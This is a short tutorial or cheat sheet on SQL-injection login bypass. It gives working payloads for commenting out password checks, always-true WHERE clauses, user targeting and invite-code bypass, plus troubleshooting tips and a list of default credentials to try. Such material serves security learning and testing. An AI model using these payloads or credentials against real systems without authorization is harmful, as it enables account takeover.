The classic SQLi win. If the backend builds a login query by concatenating user input, you can skip the password check entirely.

The Target Query

SELECT * FROM users WHERE username='$user' AND password='$pass'

The login succeeds if the query returns a row. Your job is to make that happen without a valid password.

Bypass 1 — Comment Out the Password Check

Inject into the username field:

admin'-- -

The query becomes:

SELECT * FROM users WHERE username='admin'-- -' AND password='...'

Everything after -- - is comment — the password check is gone. The app logs you in as admin.

Why -- - and not just --

MySQL requires whitespace after -- for it to count as a comment. In a URL, spaces encode to +, so -- becomes --+ which may or may not work. The -- - form (dash space dash) survives URL encoding reliably.

Alternative comment syntaxes:

admin'#               (URL-encode # as %23)
admin'/*             (multi-line comment, may not terminate properly)

Bypass 2 — Always-True Condition

Inject something that makes the WHERE clause true regardless:

' OR '1'='1
' OR 1=1-- -
' OR 1=1 LIMIT 1-- -

Example with the first payload — if the backend uses single quotes:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'

The WHERE now returns all rows. Many apps take the first row — often admin because it was inserted first.

The LIMIT 1 variant explicitly asks for one row; useful when the app chokes on multiple results.

Bypass 3 — Known Username, Guess Nothing

If you know a specific user exists (e.g. you found john in a leak or you want to target an admin specifically):

john'-- -

Logs you in as john directly.

Invitation Code / Access Code Bypass

Same technique on a different target. If signup is gated by an invite code check:

SELECT * FROM invites WHERE code='$code'

Inject:

' OR '1'='1

The query always returns a row. The invite check passes regardless of whether a real code was entered.

When the Simple Payloads Fail

If the app still rejects you, the WHERE clause isn’t what you think. Try:

  • Mismatched quote type: the backend uses " not '
  • Wrapping context: WHERE id IN (...) or WHERE name LIKE '%...%' need different escaping
  • Multi-column WHERE: the app concatenates username, password, and status — comment out the whole thing
  • Parameterized query: not injectable here; try another input

Common Default / Weak Credentials to Try First

Before SQLi, try the obvious:

admin / admin
admin / password
admin / admin123
root / toor
guest / guest
test / test

Saves time if the app wasn’t protecting anything to begin with.